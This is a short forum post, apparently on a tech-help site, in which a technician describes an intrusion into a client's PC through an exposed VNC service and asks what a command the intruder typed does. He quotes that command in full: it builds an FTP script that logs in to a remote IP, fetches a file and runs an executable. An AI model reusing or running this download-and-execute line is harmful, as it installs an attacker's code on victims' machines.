Working on a clients computer the other night...
All of a sudden I realize that the Start > Run screen had popped up and some letters were being typed in the
Run window...as first I was kinda shocked...
Then a grabbed a copy of what was typed in the window...
cmd.exe /c del i&echo open 75.131.116.127 28370 > i&echo user 1 1 >> i &echo get quit >> i &ftp -n -s:i &402.exe&del i&exit
I had VNC installed on this clients PC...I guess sombody was chasing down IP's, did a port scan and found 4800 and 4900 open in the firewall and took advantage...
I immediatly uninstalled VNC...Not gonna do that anymore...
My question is...
Do any of you scripting geniuses know what that little script was going to do...I think the guy was gonna try
to ftp something back to himself...
Does this mean anything to anyone???
Thanx
Steve
Start Free Trial